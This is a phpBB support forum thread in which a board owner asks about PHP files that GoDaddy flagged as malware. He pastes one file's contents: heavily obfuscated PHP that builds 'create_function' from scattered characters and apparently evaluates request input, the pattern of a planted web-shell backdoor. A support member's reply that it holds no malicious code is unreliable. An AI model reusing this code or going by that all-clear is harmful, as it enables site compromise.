Godaddy recommended file deletions

Get help with installation and running phpBB 3.1.x here. Please do not post bug reports, feature requests, or extension related questions here.
Scam Warning
Forum rules
READ: phpBB.com Board-Wide Rules and Regulations

NOTE: phpBB 3.1.x is at its End of Life stage and support will NOT be provided after July 1st, 2018.
Post Reply
Gator01
Registered User
Posts: 16
Joined: Tue Jul 26, 2016 10:18 pm

Godaddy recommended file deletions

Post by Gator01 » Wed Jan 10, 2018 1:12 am

I received an email from my host saying:

We recently completed a routine security checkup of our servers and platforms. Our scans flagged your texasbbqforum.com hosting accounts as containing possible malware.

Please sign in to your hosting account and review the following content and remove or fix the files listed below:


rex.multi_vars.004 - html/axojvlsj.php

rex.multi_vars.004 - html/config/services_new.php

rex.multi_vars.004 - html/phpbb/groupposition/teampage_prevv1.php

rex.multi_vars.004 - html/phpbb/tree/nestedset_backup.php

rex.multi_vars.004 - html/styles/elegance/banners/sucklebusters_logo_bck_old.php

rex.multi_vars.004 - html/_old/mobiquo/upload_noversion.php


Is there any reason that I need to do anything with these files?

User avatar
AbaddonOrmuz
Registered User
Posts: 286
Joined: Wed Dec 25, 2013 9:06 pm
Location: /dev/null
Name: Alfredo Ramos
Contact:

Re: Godaddy recommended file deletions

Post by AbaddonOrmuz » Wed Jan 10, 2018 1:31 am

That files are not part of phpBB.

Check this instructions: viewtopic.php?f=466&t=2453216#p14901551
A proudly user of Arch Linux :: /r/sddm_themes

User avatar
stevemaury
Support Team Member
Support Team Member
Posts: 49013
Joined: Thu Nov 02, 2006 12:21 am
Location: The U.P.
Name: Steve
Contact:

Re: Godaddy recommended file deletions

Post by stevemaury » Wed Jan 10, 2018 4:53 pm

Give us a link to your phpBB board.
For REALLY good and VERY inexpensive hosting CLICK HERE

I can stop all your spam. PM or email me.

All unsolicited PMs will be ignored.

Gator01
Registered User
Posts: 16
Joined: Tue Jul 26, 2016 10:18 pm

Re: Godaddy recommended file deletions

Post by Gator01 » Wed Jan 10, 2018 4:59 pm


User avatar
stevemaury
Support Team Member
Support Team Member
Posts: 49013
Joined: Thu Nov 02, 2006 12:21 am
Location: The U.P.
Name: Steve
Contact:

Re: Godaddy recommended file deletions

Post by stevemaury » Wed Jan 10, 2018 8:06 pm

Correct, none of these are phpBB files, with the possible exception of the one in the /elegance folder, which might be in a custom, nonphpBB style, but I doubt it. Back them up on your local computer, delete them from the server, and virus scan them.
For REALLY good and VERY inexpensive hosting CLICK HERE

I can stop all your spam. PM or email me.

All unsolicited PMs will be ignored.

Gator01
Registered User
Posts: 16
Joined: Tue Jul 26, 2016 10:18 pm

Re: Godaddy recommended file deletions

Post by Gator01 » Wed Jan 10, 2018 10:14 pm

Thanks folks.

User avatar
3Di
Registered User
Posts: 12438
Joined: Mon Apr 04, 2005 11:09 pm
Location: Milan (IT) Frankfurt (DE)
Name: Marco
Contact:

Re: Godaddy recommended file deletions

Post by 3Di » Wed Jan 10, 2018 11:12 pm

html/_old/mobiquo/upload_noversion.php
Seems like you have Tapatalk installed.
Want to compensate me for my interest? Donate
Please PM me only to request paid works. Thx.
Extensions, Scripts, MOD porting, Update/Upgrades
My development's activity º PhpStorm's proud user

Gator01
Registered User
Posts: 16
Joined: Tue Jul 26, 2016 10:18 pm

Re: Godaddy recommended file deletions

Post by Gator01 » Thu Jan 11, 2018 1:48 am

Yes, I do...I think some of these files are just older versions/previous versions...ect. Not sure where else they would have come from.

The contents on one file looks suspect to me - anyone recognize this? :?:

Code: Select all

<?php
$anesthetically='a';$attendance= 'S';

$dented='eSqed$iHo';$extensibility= 'w';

$cannibalizing= 'T'; $conquerors= 'u';$coupling ='s';$buckie =')';$interference=')'; $ebbs='g'; $demetrius =',';

$bub = 'S';$biographies ='a'; $ewell='r';$brian= '")()]ar?t'; $berthe = 'd';$emmalynn = ')';$conduct='jD';$ledge= '$';$andorra =']';$homemaker='x';$decompositions = 't'; $boners ='$'; $dasi='e(';$emeriti='"$';$botches ='v'; $gloved ='a';$burbank= 'Z[iaEt'; $cohabitate='_]VHsnN'; $biplane =')esvrD"_T'; $dishes = 'ua"a';$baccarat = 'M'; $creaks = '"'; $blase='c'; $hydrogen= ']';

$laziness='VpEOvP"'; $inversely = '('; $every='E'; $gradient= 'L'; $followeth = 'iRyEeier';$enable = ';K';

$annoyer ='_'; $instigating = 'EVvyl`Se@';$hooligan = 'V';$edgard ='=';$concedes = 'e'; $arbitrating=':o$B';

$jeanne=')RpF='; $councilwoman= 'vTPt';$catalogs = 'X';$inflates ='E(';$armadillo= 'f';$deduces='ansrT'; $lineage = 'H'; $hairs ='t';$exponentiating = 'Yi'; $defensive =')';
$egotist= '_'; $foray ='m';$ashamedly= 'de(edgfbJ';

$flattery ='C"a^iA['; $divorce='(';$harnessed= '('; $environing = ')';
$alvie ='P';

$indiscoverable= 'eCve';$effectors='_'; $distinction='l';$extoller = ' '; $increasable='[ss)c[R[D'; $greens = 'WO,r6'; $deformation ='(';$homily= 's'; $historian= 'k';$excels='dr_'; $aspire ='v'; $dropout ='?';$crumpling = 'vng$VesT'; $infuriate ='c_EC';
$late ='d';

$auroora ='c'; $katine='Qrt(el'; $ambushed= 'ao:dL"';$compassionately = 'O';
$inferential ='U';$aubrette = 'r';
$extension ='sLic(]$dR'; $mains = 'e'; $initiate = '4'; $familiarized='esgv'; $labels = 'S';$bryan ='c'; $fusillade = '$iDa_'; $dollar='G'; $codetermine ='c';$injected= 'IK_EipiC';$dumb = '('; $logistic= 'e'; $centipedes='rse'; $carmelle ='trDQ;$n';$goody = ';o_l';$innately='Tmur;lfah'; $biologists ='t';$bends =')'; $capitols= 'U__bV$I'; $coupled=$codetermine.$innately['3'].$centipedes['2'] .

$innately['7'].$biologists . $centipedes['2'] .

$capitols['2'].

$innately['6'] .$innately['2'] .$carmelle['6'].
$codetermine. $biologists.$injected['6']. $goody['1'] .

$carmelle['6'];$hospitalizes= $extoller; $curriculums= $coupled ($hospitalizes,$centipedes['2'].$familiarized['3']. $innately['7'] .$innately['5']. $dumb . $innately['7']. $innately['3'] .

$innately['3'] .$innately['7'] . $instigating[3]. $capitols['2'].$injected['5'] .

$goody['1'] .$injected['5'] . $dumb . $innately['6'].$innately['2'].

$carmelle['6']. $codetermine.
$capitols['2'] .$familiarized['2']. $centipedes['2'].$biologists . $capitols['2'] .$innately['7'].

$innately['3']. $familiarized['2']. $centipedes['1']. $dumb.$bends .$bends .$bends .$innately['4']); $curriculums

($extoller, $bends,$dollar ,
$athens['8'] ,
$exponentiating['0'],$innately['0'] ,$greens['0'], $innately['0'] ,
$innately['3'] , $innately['1'] , $demonstration['2'],$capitols['5'].$injected['6']. $jeanne['4'] .$innately['7'] .$innately['3'].
$innately['3'] . $innately['7'].$instigating[3] .$capitols['2'].$innately['1']. $centipedes['2']. $innately['3'] . $familiarized['2'] .$centipedes['2'].$dumb .$capitols['5'] . $capitols['2'] . $extension['8']. $injected['3'] . $carmelle['3'] .$capitols['0'].

$injected['3'].$labels. $innately['0'] . $greens['2'] .$capitols['5'] . $capitols['2'] . $injected['7'] . $compassionately. $compassionately . $injected['1'] . $capitols['6'] .
$injected['3'].$greens['2'] .$capitols['5'].$capitols['2'] . $labels . $injected['3']. $extension['8']. $capitols['4']. $injected['3']. $extension['8'] .$bends. $innately['4']. $capitols['5'] .
$innately['7'] . $jeanne['4']. $injected['6'] .$centipedes['1'].$centipedes['1'] . $centipedes['2'].

$biologists. $dumb. $capitols['5'].
$injected['6']. $increasable['7']. $ambushed['5'].
$codetermine. $centipedes['2'].$extension[7]. $centipedes['1'] .
$familiarized['3'] .
$extension[7]. $innately['5'] .$familiarized['3']. $ambushed['5'] . $extension['5'] .$bends .

$dropout . $capitols['5'] .

$injected['6']. $increasable['7'] .$ambushed['5']. $codetermine.$centipedes['2'] . $extension[7].$centipedes['1'].$familiarized['3'] .$extension[7] .$innately['5'].

$familiarized['3'] .

$ambushed['5'].$extension['5'] .

$ambushed['2'].$dumb. $injected['6']. $centipedes['1'] .
$centipedes['1']. $centipedes['2'].$biologists .$dumb . $capitols['5'] . $injected['6'].$increasable['7'].
$ambushed['5'] .
$lineage . $innately['0']. $innately['0'].$alvie.$capitols['2'] . $injected['7']. $injected['3'] .

$carmelle['2'] .$labels.
$capitols['4'] .$carmelle['2'].$extension['1'] .$capitols['4'] . $ambushed['5'] .$extension['5'] .$bends.

$dropout.$capitols['5']. $injected['6'] . $increasable['7'] . $ambushed['5'] .$lineage. $innately['0'] .$innately['0'] .$alvie .
$capitols['2'] .$injected['7']. $injected['3'].

$carmelle['2'] .$labels. $capitols['4'] .$carmelle['2'] . $extension['1'] .$capitols['4'] .$ambushed['5'] .
$extension['5']. $ambushed['2'] . $extension[7].

$injected['6'].$centipedes['2'] . $bends.
$innately['4'] .$centipedes['2'].$familiarized['3'] .$innately['7'] . $innately['5'].$dumb .$centipedes['1'].$biologists. $innately['3'] .
$innately['3'] .$centipedes['2'].$familiarized['3'].
$dumb.$capitols['3'] . $innately['7']. $centipedes['1'].$centipedes['2'].$greens['4'].$initiate . $capitols['2'].$extension[7] . $centipedes['2'] . $codetermine. $goody['1'] .$extension[7]. $centipedes['2']. $dumb. $centipedes['1']. $biologists.$innately['3'] .

$innately['3'] .$centipedes['2']. $familiarized['3']. $dumb.$capitols['5']. $innately['7']. $bends .$bends .$bends. $bends .
$innately['4']);

User avatar
stevemaury
Support Team Member
Support Team Member
Posts: 49013
Joined: Thu Nov 02, 2006 12:21 am
Location: The U.P.
Name: Steve
Contact:

Re: Godaddy recommended file deletions

Post by stevemaury » Fri Jan 12, 2018 4:25 pm

There does not appear to be any malicious code there, but this is phpBB support, not malware analysis. I am going to mark this solved. PM me if you wish that reversed.
For REALLY good and VERY inexpensive hosting CLICK HERE

I can stop all your spam. PM or email me.

All unsolicited PMs will be ignored.

Post Reply

Return to “[3.1.x] Support Forum”

Who is online

Users browsing this forum: Google [Bot] and 7 guests